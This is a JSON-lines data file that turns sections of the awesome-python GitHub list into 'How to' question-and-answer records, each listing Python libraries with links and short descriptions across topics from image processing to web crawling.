{"id": "gh_a3dfe7409b27", "question": "How to: Image Processing", "question_body": "About vinta/awesome-python", "answer": "_Libraries for manipulating images._\n\n- [pillow](https://github.com/python-pillow/Pillow) - Pillow is the friendly [PIL](http://www.pythonware.com/products/pil/) fork.\n- [pymatting](http://github.com/pymatting/pymatting) - A library for alpha matting.\n- [python-barcode](https://github.com/WhyNotHugo/python-barcode) - Create barcodes in Python with no extra dependencies.\n- [python-qrcode](https://github.com/lincolnloop/python-qrcode) - A pure Python QR Code generator.\n- [pyvips](https://github.com/libvips/pyvips) - A fast image processing library with low memory needs.\n- [pywal](https://github.com/dylanaraps/pywal) - A tool that generates color schemes from images.\n- [quads](https://github.com/fogleman/Quads) - Computer art based on quadtrees.\n- [scikit-image](http://scikit-image.org/) - A Python library for (scientific) image processing.\n- [thumbor](https://github.com/thumbor/thumbor) - A smart imaging service. It enables on-demand crop, re-sizing and flipping of images.\n- [wand](https://github.com/emcconville/wand) - Python bindings for [MagickWand](http://www.imagemagick.org/script/magick-wand.php), C API for ImageMagick.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117161"}
{"id": "gh_613de04b6d81", "question": "How to: Implementations", "question_body": "About vinta/awesome-python", "answer": "_Implementations of Python._\n\n- [clpython](https://github.com/metawilm/cl-python) - Implementation of the Python programming language written in Common Lisp.\n- [cpython](https://github.com/python/cpython) - **Default, most widely used implementation of the Python programming language written in C.**\n- [cython](https://github.com/cython/cython) - Optimizing Static Compiler for Python.\n- [ironpython](https://github.com/IronLanguages/ironpython3) - Implementation of the Python programming language written in C#.\n- [micropython](https://github.com/micropython/micropython) - A lean and efficient Python programming language implementation.\n- [numba](https://github.com/numba/numba) - Python JIT compiler to LLVM aimed at scientific Python.\n- [peachpy](https://github.com/Maratyszcza/PeachPy) - x86-64 assembler embedded in Python.\n- [pypy](https://foss.heptapod.net/pypy/pypy) - A very fast and compliant implementation of the Python language.\n- [pyston](https://github.com/pyston/pyston/) - A Python implementation using JIT techniques.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117167"}
{"id": "gh_ca1aa9d2cb65", "question": "How to: Interactive Interpreter", "question_body": "About vinta/awesome-python", "answer": "_Interactive Python interpreters (REPL)._\n\n- [bpython](https://github.com/bpython/bpython) - A fancy interface to the Python interpreter.\n- [Jupyter Notebook (IPython)](https://jupyter.org) - A rich toolkit to help you make the most out of using Python interactively.\n  - [awesome-jupyter](https://github.com/markusschanta/awesome-jupyter)\n- [marimo](https://github.com/marimo-team/marimo) - Transform data and train models, feels like a next-gen notebook, stored as Git-friendly Python.\n- [ptpython](https://github.com/jonathanslenders/ptpython) - Advanced Python REPL built on top of the [python-prompt-toolkit](https://github.com/jonathanslenders/python-prompt-toolkit).", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117172"}
{"id": "gh_475261b1a106", "question": "How to: Internationalization", "question_body": "About vinta/awesome-python", "answer": "_Libraries for working with i18n._\n\n- [Babel](http://babel.pocoo.org/en/latest/) - An internationalization library for Python.\n- [PyICU](https://github.com/ovalhub/pyicu) - A wrapper of International Components for Unicode C++ library ([ICU](http://site.icu-project.org/)).", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117177"}
{"id": "gh_396f0ea45cf8", "question": "How to: Job Scheduler", "question_body": "About vinta/awesome-python", "answer": "_Libraries for scheduling jobs._\n\n- [Airflow](https://airflow.apache.org/) - Airflow is a platform to programmatically author, schedule and monitor workflows.\n- [APScheduler](http://apscheduler.readthedocs.io/en/latest/) - A light but powerful in-process task scheduler that lets you schedule functions.\n- [django-schedule](https://github.com/thauber/django-schedule) - A calendaring app for Django.\n- [doit](http://pydoit.org/) - A task runner and build tool.\n- [Joblib](https://joblib.readthedocs.io/) - A set of tools to provide lightweight pipelining in Python.\n- [Plan](https://github.com/fengsp/plan) - Writing crontab file in Python like a charm.\n- [Prefect](https://github.com/PrefectHQ/prefect) - A modern workflow orchestration framework that makes it easy to build, schedule and monitor robust data pipelines.\n- [schedule](https://github.com/dbader/schedule) - Python job scheduling for humans.\n- [Spiff](https://github.com/knipknap/SpiffWorkflow) - A powerful workflow engine implemented in pure Python.\n- [TaskFlow](https://docs.openstack.org/developer/taskflow/) - A Python library that helps to make task execution easy, consistent and reliable.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117183"}
{"id": "gh_c8569a40cbd8", "question": "How to: Machine Learning", "question_body": "About vinta/awesome-python", "answer": "_Libraries for Machine Learning. Also see [awesome-machine-learning](https://github.com/josephmisiti/awesome-machine-learning#python)._\n\n- [diffusers](https://github.com/huggingface/diffusers) - A library that provides pretrained diffusion models for generating and editing images, audio, and video.\n- [gym](https://github.com/openai/gym) - A toolkit for developing and comparing reinforcement learning algorithms.\n- [Feature-engine](https://github.com/feature-engine/feature_engine) - sklearn compatible API with the widest toolset for feature engineering and selection.\n- [H2O](https://github.com/h2oai/h2o-3) - Open Source Fast Scalable Machine Learning Platform.\n- [Metrics](https://github.com/benhamner/Metrics) - Machine learning evaluation metrics.\n- [MindsDB](https://github.com/mindsdb/mindsdb) - MindsDB is an open source AI layer for existing databases that allows you to effortlessly develop, train and deploy state-of-the-art machine learning models using standard queries.\n- [PraisonAI](https://github.com/MervinPraison/PraisonAI) - Production-ready Multi-AI Agents framework with self-reflection, 100+ LLM support, MCP integration, and agentic workflows.\n- [pydantic-ai](https://github.com/pydantic/pydantic-ai) - A Python agent framework for building generative AI applications with structured schemas.\n- [RAGFlow](https://github.com/infiniflow/ragflow) - An open-source RAG engine for document understanding and question answering with LLMs.\n- [scikit-learn](http://scikit-learn.org/) - The most popular Python library for Machine Learning.\n- [Spark ML](http://spark.apache.org/docs/latest/ml-guide.html) - [Apache Spark](http://spark.apache.org/)'s scalable Machine Learning library.\n- [Transformers](https://github.com/huggingface/transformers) - A framework that lets you easily use pretrained transformer models for NLP, vision, and audio tasks.\n- [xgboost](https://github.com/dmlc/xgboost) - A scalable, portable, and distributed gradient boosting library.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117191"}
{"id": "gh_6a8784a34867", "question": "How to: Microsoft Windows", "question_body": "About vinta/awesome-python", "answer": "_Python programming on Microsoft Windows._\n\n- [PythonNet](https://github.com/pythonnet/pythonnet) - Python Integration with the .NET Common Language Runtime (CLR).\n- [PyWin32](https://github.com/mhammond/pywin32) - Python Extensions for Windows.\n- [WinPython](https://winpython.github.io/) - Portable development environment for Windows 10/11.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117196"}
{"id": "gh_27ea22d5f178", "question": "How to: Miscellaneous", "question_body": "About vinta/awesome-python", "answer": "_Useful libraries or tools that don't fit in the categories above._\n\n- [blinker](https://github.com/jek/blinker) - A fast Python in-process signal/event dispatching system.\n- [boltons](https://github.com/mahmoud/boltons) - A set of pure-Python utilities.\n- [itsdangerous](https://github.com/pallets/itsdangerous) - Various helpers to pass trusted data to untrusted environments.\n- [magenta](https://github.com/magenta/magenta) - A tool to generate music and art using artificial intelligence.\n- [pluginbase](https://github.com/mitsuhiko/pluginbase) - A simple but flexible plugin system for Python.\n- [tryton](http://www.tryton.org/) - A general-purpose business framework.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117202"}
{"id": "gh_5fca32560857", "question": "How to: Natural Language Processing", "question_body": "About vinta/awesome-python", "answer": "_Libraries for working with human languages._\n\n- General\n  - [gensim](https://github.com/RaRe-Technologies/gensim) - Topic Modeling for Humans.\n  - [langid.py](https://github.com/saffsd/langid.py) - Stand-alone language identification system.\n  - [nltk](http://www.nltk.org/) - A leading platform for building Python programs to work with human language data.\n  - [pattern](https://github.com/clips/pattern) - A web mining module.\n  - [polyglot](https://github.com/aboSamoor/polyglot) - Natural language pipeline supporting hundreds of languages.\n  - [pytext](https://github.com/facebookresearch/pytext) - A natural language modeling framework based on PyTorch.\n  - [PyTorch-NLP](https://github.com/PetrochukM/PyTorch-NLP) - A toolkit enabling rapid deep learning NLP prototyping for research.\n  - [spacy](https://spacy.io/) - A library for industrial-strength natural language processing in Python and Cython.\n  - [Stanza](https://github.com/stanfordnlp/stanza) - The Stanford NLP Group's official Python library, supporting 60+ languages.\n- Chinese\n  - [funNLP](https://github.com/fighting41love/funNLP) - A collection of tools and datasets for Chinese NLP.\n  - [jieba](https://github.com/fxsjy/jieba) - The most popular Chinese text segmentation library.\n  - [pkuseg-python](https://github.com/lancopku/pkuseg-python) - A toolkit for Chinese word segmentation in various domains.\n  - [snownlp](https://github.com/isnowfy/snownlp) - A library for processing Chinese text.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117209"}
{"id": "gh_d2d151b6f7ed", "question": "How to: Network Virtualization", "question_body": "About vinta/awesome-python", "answer": "_Tools and libraries for Virtual Networking and SDN (Software Defined Networking)._\n\n- [mininet](https://github.com/mininet/mininet) - A popular network emulator and API written in Python.\n- [napalm](https://github.com/napalm-automation/napalm) - Cross-vendor API to manipulate network devices.\n- [pox](https://github.com/noxrepo/pox) - A Python-based SDN control applications, such as OpenFlow SDN controllers.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117215"}
{"id": "gh_4201aa0f1ca5", "question": "How to: Package Management", "question_body": "About vinta/awesome-python", "answer": "_Libraries for package and dependency management._\n\n- [pip](https://pip.pypa.io/en/stable/) - The package installer for Python.\n  - [pip-tools](https://github.com/jazzband/pip-tools) - A set of tools to keep your pinned Python dependencies fresh.\n- [conda](https://github.com/conda/conda/) - Cross-platform, Python-agnostic binary package manager.\n- [hatch](https://github.com/pypa/hatch) - Modern, extensible Python project management.\n- [poetry](https://github.com/sdispater/poetry) - Python dependency management and packaging made easy.\n- [uv](https://github.com/astral-sh/uv) - An extremely fast Python package and project manager, written in Rust.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117221"}
{"id": "gh_86363bbdb4a9", "question": "How to: Package Repositories", "question_body": "About vinta/awesome-python", "answer": "_Local PyPI repository server and proxies._\n\n- [bandersnatch](https://github.com/pypa/bandersnatch/) - PyPI mirroring tool provided by Python Packaging Authority (PyPA).\n- [devpi](https://github.com/devpi/devpi) - PyPI server and packaging/testing/release tool.\n- [warehouse](https://github.com/pypa/warehouse) - Next generation Python Package Repository (PyPI).", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117226"}
{"id": "gh_5576d897c119", "question": "How to: Penetration Testing", "question_body": "About vinta/awesome-python", "answer": "_Frameworks and tools for penetration testing._\n\n- [fsociety](https://github.com/Manisso/fsociety) - A Penetration testing framework.\n- [setoolkit](https://github.com/trustedsec/social-engineer-toolkit) - A toolkit for social engineering.\n- [sqlmap](https://github.com/sqlmapproject/sqlmap) - Automatic SQL injection and database takeover tool.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117231"}
{"id": "gh_d01de3ce32d5", "question": "How to: Permissions", "question_body": "About vinta/awesome-python", "answer": "_Libraries that allow or deny users access to data or functionality._\n\n- [django-guardian](https://github.com/django-guardian/django-guardian) - Implementation of per object permissions for Django 1.2+\n- [django-rules](https://github.com/dfunckt/django-rules) - A tiny but powerful app providing object-level permissions to Django, without requiring a database.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117236"}
{"id": "gh_b68b9322e612", "question": "How to: Recommender Systems", "question_body": "About vinta/awesome-python", "answer": "_Libraries for building recommender systems._\n\n- [annoy](https://github.com/spotify/annoy) - Approximate Nearest Neighbors in C++/Python optimized for memory usage.\n- [fastFM](https://github.com/ibayer/fastFM) - A library for Factorization Machines.\n- [implicit](https://github.com/benfred/implicit) - A fast Python implementation of collaborative filtering for implicit datasets.\n- [libffm](https://github.com/guestwalk/libffm) - A library for Field-aware Factorization Machine (FFM).\n- [lightfm](https://github.com/lyst/lightfm) - A Python implementation of a number of popular recommendation algorithms.\n- [spotlight](https://github.com/maciejkula/spotlight) - Deep recommender models using PyTorch.\n- [Surprise](https://github.com/NicolasHug/Surprise) - A scikit for building and analyzing recommender systems.\n- [tensorrec](https://github.com/jfkirk/tensorrec) - A Recommendation Engine Framework in TensorFlow.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117242"}
{"id": "gh_adaa3d090e90", "question": "How to: Refactoring", "question_body": "About vinta/awesome-python", "answer": "_Refactoring tools and libraries for Python._\n\n- [Bowler](https://pybowler.io/) - Safe code refactoring for modern Python.\n- [Rope](https://github.com/python-rope/rope) - Rope is a python refactoring library.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117247"}
{"id": "gh_28bd741e95e3", "question": "How to: RESTful API", "question_body": "About vinta/awesome-python", "answer": "_Libraries for building RESTful APIs._\n\n- Django\n  - [django-rest-framework](https://github.com/encode/django-rest-framework) - A powerful and flexible toolkit to build web APIs.\n  - [django-tastypie](https://github.com/django-tastypie/django-tastypie) - Creating delicious APIs for Django apps.\n- Flask\n  - [eve](https://github.com/pyeve/eve) - REST API framework powered by Flask, MongoDB and good intentions.\n  - [flask-api](https://github.com/flask-api/flask-api) - Browsable Web APIs for Flask.\n  - [flask-restful](https://github.com/flask-restful/flask-restful) - Quickly building REST APIs for Flask.\n- Pyramid\n  - [cornice](https://github.com/Cornices/cornice) - A RESTful framework for Pyramid.\n- Framework agnostic\n  - [falcon](https://github.com/falconry/falcon) - A high-performance framework for building cloud APIs and web app backends.\n  - [fastapi](https://github.com/tiangolo/fastapi) - A modern, fast, web framework for building APIs with Python 3.6+ based on standard Python type hints.\n  - [hug](https://github.com/hugapi/hug) - A Python 3 framework for cleanly exposing APIs.\n  - [sandman2](https://github.com/jeffknupp/sandman2) - Automated REST APIs for existing database-driven systems.\n  - [sanic](https://github.com/sanic-org/sanic) - A Python 3.6+ web server and web framework that's written to go fast.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117254"}
{"id": "gh_5d72e789fc3f", "question": "How to: RPC Servers", "question_body": "About vinta/awesome-python", "answer": "_RPC-compatible servers._\n\n- [RPyC](https://github.com/tomerfiliba/rpyc) (Remote Python Call) - A transparent and symmetric RPC library for Python\n- [zeroRPC](https://github.com/0rpc/zerorpc-python) - zerorpc is a flexible RPC implementation based on [ZeroMQ](http://zeromq.org/) and [MessagePack](http://msgpack.org/).", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117259"}
{"id": "gh_c0a172dfe185", "question": "How to: Serialization", "question_body": "About vinta/awesome-python", "answer": "_Libraries for serializing complex data types._\n\n- [marshmallow](https://github.com/marshmallow-code/marshmallow) - A lightweight library for converting complex objects to and from simple Python datatypes.\n- [orjson](https://github.com/ijl/orjson) - Fast, correct JSON library.\n- [pysimdjson](https://github.com/TkTech/pysimdjson) - A Python bindings for [simdjson](https://github.com/lemire/simdjson).\n- [python-rapidjson](https://github.com/python-rapidjson/python-rapidjson) - A Python wrapper around [RapidJSON](https://github.com/Tencent/rapidjson).\n- [toonify](https://github.com/ScrapeGraphAI/toonify) - A compact, human-readable serialization format that reduces LLM token usage by 30-60% compared to JSON.\n- [ultrajson](https://github.com/esnme/ultrajson) - A fast JSON decoder and encoder written in C with Python bindings.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117268"}
{"id": "gh_b7edb9d0243e", "question": "How to: Serverless Frameworks", "question_body": "About vinta/awesome-python", "answer": "_Frameworks for developing serverless Python code._\n\n- [python-lambda](https://github.com/nficano/python-lambda) - A toolkit for developing and deploying Python code in AWS Lambda.\n- [Zappa](https://github.com/zappa/Zappa) - A tool for deploying WSGI applications on AWS Lambda and API Gateway.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117272"}
{"id": "gh_bfca836400a3", "question": "How to: Specific Formats Processing", "question_body": "About vinta/awesome-python", "answer": "_Libraries for parsing and manipulating specific text formats._\n\n- General\n  - [tablib](https://github.com/jazzband/tablib) - A module for Tabular Datasets in XLS, CSV, JSON, YAML.\n- Office\n  - [docxtpl](https://github.com/elapouya/python-docx-template) - Editing a docx document by jinja2 template\n  - [openpyxl](https://openpyxl.readthedocs.io/en/stable/) - A library for reading and writing Excel 2010 xlsx/xlsm/xltx/xltm files.\n  - [pyexcel](https://github.com/pyexcel/pyexcel) - Providing one API for reading, manipulating and writing csv, ods, xls, xlsx and xlsm files.\n  - [python-docx](https://github.com/python-openxml/python-docx) - Reads, queries and modifies Microsoft Word 2007/2008 docx files.\n  - [python-pptx](https://github.com/scanny/python-pptx) - Python library for creating and updating PowerPoint (.pptx) files.\n  - [unoconv](https://github.com/unoconv/unoconv) - Convert between any document format supported by LibreOffice/OpenOffice.\n  - [XlsxWriter](https://github.com/jmcnamara/XlsxWriter) - A Python module for creating Excel .xlsx files.\n  - [xlwings](https://github.com/ZoomerAnalytics/xlwings) - A BSD-licensed library that makes it easy to call Python from Excel and vice versa.\n  - [xlwt](https://github.com/python-excel/xlwt) / [xlrd](https://github.com/python-excel/xlrd) - Writing and reading data and formatting information from Excel files.\n- PDF\n  - [pdfminer.six](https://github.com/pdfminer/pdfminer.six) - Pdfminer.six is a community maintained fork of the original PDFMiner.\n  - [pikepdf](https://github.com/pikepdf/pikepdf) - A powerful library for reading and editing PDF files, based on qpdf.\n  - [PyPDF2](https://github.com/mstamy2/PyPDF2) - A library capable of splitting, merging and transforming PDF pages.\n  - [ReportLab](https://www.reportlab.com/opensource/) - Allowing Rapid creation of rich PDF documents.\n- Markdown\n  - [Mistune](https://github.com/lepture/mistune) - Fastest and full featured pure Python parsers of Markdown.\n  - [Python-Markdown](https://github.com/waylan/Python-Markdown) - A Python implementation of John Gruber’s Markdown.\n- YAML\n  - [PyYAML](http://pyyaml.org/) - YAML implementations for Python.\n- CSV\n  - [csvkit](https://github.com/wireservice/csvkit) - Utilities for converting to and working with CSV.\n- Archive\n  - [unp](https://github.com/mitsuhiko/unp) - A command line tool that can unpack archives easily.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117288"}
{"id": "gh_fc8e5e8b77fd", "question": "How to: Static Site Generator", "question_body": "About vinta/awesome-python", "answer": "_Static site generator is a software that takes some text + templates as input and produces HTML files on the output._\n\n- [lektor](https://github.com/lektor/lektor) - An easy to use static CMS and blog engine.\n- [makesite](https://github.com/sunainapai/makesite) - Simple, lightweight, and magic-free static site/blog generator (< 130 lines).\n- [mkdocs](https://github.com/mkdocs/mkdocs/) - Markdown friendly documentation generator.\n- [nikola](https://github.com/getnikola/nikola) - A static website and blog generator.\n- [pelican](https://github.com/getpelican/pelican) - Static site generator that supports Markdown and reST syntax.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117293"}
{"id": "gh_2d349835ad8f", "question": "How to: Task Queues", "question_body": "About vinta/awesome-python", "answer": "_Libraries for working with task queues._\n\n- [celery](https://docs.celeryproject.org/en/stable/) - An asynchronous task queue/job queue based on distributed message passing.\n- [dramatiq](https://github.com/Bogdanp/dramatiq) - A fast and reliable background task processing library for Python 3.\n- [huey](https://github.com/coleifer/huey) - Little multi-threaded task queue.\n- [mrq](https://github.com/pricingassistant/mrq) - A distributed worker task queue in Python using Redis & gevent.\n- [rq](https://github.com/rq/rq) - Simple job queues for Python.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117299"}
{"id": "gh_8cd6380cd913", "question": "How to: Template Engine", "question_body": "About vinta/awesome-python", "answer": "_Libraries and tools for templating and lexing._\n\n- [Genshi](https://genshi.edgewall.org/) - Python templating toolkit for generation of web-aware output.\n- [Jinja2](https://github.com/pallets/jinja) - A modern and designer friendly templating language.\n- [Mako](http://www.makotemplates.org/) - Hyperfast and lightweight templating for the Python platform.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117303"}
{"id": "gh_292bd03a6faa", "question": "How to: Text Processing", "question_body": "About vinta/awesome-python", "answer": "_Libraries for parsing and manipulating plain texts._\n\n- General\n  - [chardet](https://github.com/chardet/chardet) - Python 2/3 compatible character encoding detector.\n  - [difflib](https://docs.python.org/3/library/difflib.html) - (Python standard library) Helpers for computing deltas.\n  - [ftfy](https://github.com/LuminosoInsight/python-ftfy) - Makes Unicode text less broken and more consistent automagically.\n  - [fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) - Fuzzy String Matching.\n  - [Levenshtein](https://github.com/ztane/python-Levenshtein/) - Fast computation of Levenshtein distance and string similarity.\n  - [pangu.py](https://github.com/vinta/pangu.py) - Paranoid text spacing.\n  - [pyfiglet](https://github.com/pwaller/pyfiglet) - An implementation of figlet written in Python.\n  - [pypinyin](https://github.com/mozillazg/python-pinyin) - Convert Chinese hanzi (漢字) to pinyin (拼音).\n  - [textdistance](https://github.com/orsinium/textdistance) - Compute distance between sequences with 30+ algorithms.\n  - [unidecode](https://pypi.org/project/Unidecode/) - ASCII transliterations of Unicode text.\n- Slugify\n  - [awesome-slugify](https://github.com/dimka665/awesome-slugify) - A Python slugify library that can preserve unicode.\n  - [python-slugify](https://github.com/un33k/python-slugify) - A Python slugify library that translates unicode to ASCII.\n  - [unicode-slugify](https://github.com/mozilla/unicode-slugify) - A slugifier that generates unicode slugs with Django as a dependency.\n- Unique identifiers\n  - [hashids](https://github.com/davidaurelio/hashids-python) - Implementation of [hashids](http://hashids.org) in Python.\n  - [shortuuid](https://github.com/skorokithakis/shortuuid) - A generator library for concise, unambiguous and URL-safe UUIDs.\n- Parser\n  - [ply](https://github.com/dabeaz/ply) - Implementation of lex and yacc parsing tools for Python.\n  - [pygments](http://pygments.org/) - A generic syntax highlighter.\n  - [pyparsing](https://github.com/pyparsing/pyparsing) - A general purpose framework for generating parsers.\n  - [python-nameparser](https://github.com/derek73/python-nameparser) - Parsing human names into their individual components.\n  - [python-phonenumbers](https://github.com/daviddrysdale/python-phonenumbers) - Parsing, formatting, storing and validating international phone numbers.\n  - [python-user-agents](https://github.com/selwin/python-user-agents) - Browser user agent parser.\n  - [sqlparse](https://github.com/andialbrecht/sqlparse) - A non-validating SQL parser.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117318"}
{"id": "gh_c4d57b345d08", "question": "How to: URL Manipulation", "question_body": "About vinta/awesome-python", "answer": "_Libraries for parsing URLs._\n\n- [furl](https://github.com/gruns/furl) - A small Python library that makes parsing and manipulating URLs easy.\n- [purl](https://github.com/codeinthehole/purl) - A simple, immutable URL class with a clean API for interrogation and manipulation.\n- [pyshorteners](https://github.com/ellisonleao/pyshorteners) - A pure Python URL shortening lib.\n- [webargs](https://github.com/marshmallow-code/webargs) - A friendly library for parsing HTTP request arguments with built-in support for popular web frameworks.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117324"}
{"id": "gh_aa2ca8bc6f03", "question": "How to: Web Asset Management", "question_body": "About vinta/awesome-python", "answer": "_Tools for managing, compressing and minifying website assets._\n\n- [django-compressor](https://github.com/django-compressor/django-compressor) - Compresses linked and inline JavaScript or CSS into a single cached file.\n- [django-pipeline](https://github.com/jazzband/django-pipeline) - An asset packaging library for Django.\n- [django-storages](https://github.com/jschneier/django-storages) - A collection of custom storage back ends for Django.\n- [fanstatic](http://www.fanstatic.org/en/latest/) - Packages, optimizes, and serves static file dependencies as Python packages.\n- [flask-assets](https://github.com/miracle2k/flask-assets) - Helps you integrate webassets into your Flask app.\n- [webassets](https://github.com/miracle2k/webassets) - Bundles, optimizes, and manages unique cache-busting URLs for static resources.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117330"}
{"id": "gh_9c48397bfabd", "question": "How to: Web Content Extracting", "question_body": "About vinta/awesome-python", "answer": "_Libraries for extracting web contents._\n\n- [html2text](https://github.com/Alir3z4/html2text) - Convert HTML to Markdown-formatted text.\n- [lassie](https://github.com/michaelhelmick/lassie) - Web Content Retrieval for Humans.\n- [micawber](https://github.com/coleifer/micawber) - A small library for extracting rich content from URLs.\n- [newspaper](https://github.com/codelucas/newspaper) - News extraction, article extraction and content curation in Python.\n- [python-readability](https://github.com/buriy/python-readability) - Fast Python port of arc90's readability tool.\n- [requests-html](https://github.com/psf/requests-html) - Pythonic HTML Parsing for Humans.\n- [sumy](https://github.com/miso-belica/sumy) - A module for automatic summarization of text documents and HTML pages.\n- [textract](https://github.com/deanmalmgren/textract) - Extract text from any document, Word, PowerPoint, PDFs, etc.\n- [toapi](https://github.com/gaojiuli/toapi) - Every web site provides APIs.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117336"}
{"id": "gh_d9b6361d5812", "question": "How to: Web Crawling", "question_body": "About vinta/awesome-python", "answer": "_Libraries to automate web scraping._\n\n- [feedparser](https://github.com/kurtmckee/feedparser) - Universal feed parser.\n- [grab](https://github.com/lorien/grab) - Site scraping framework.\n- [mechanicalsoup](https://github.com/MechanicalSoup/MechanicalSoup) - A Python library for automating interaction with websites.\n- [scrapy](https://github.com/scrapy/scrapy) - A fast high-level screen scraping and web crawling framework.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117341"}
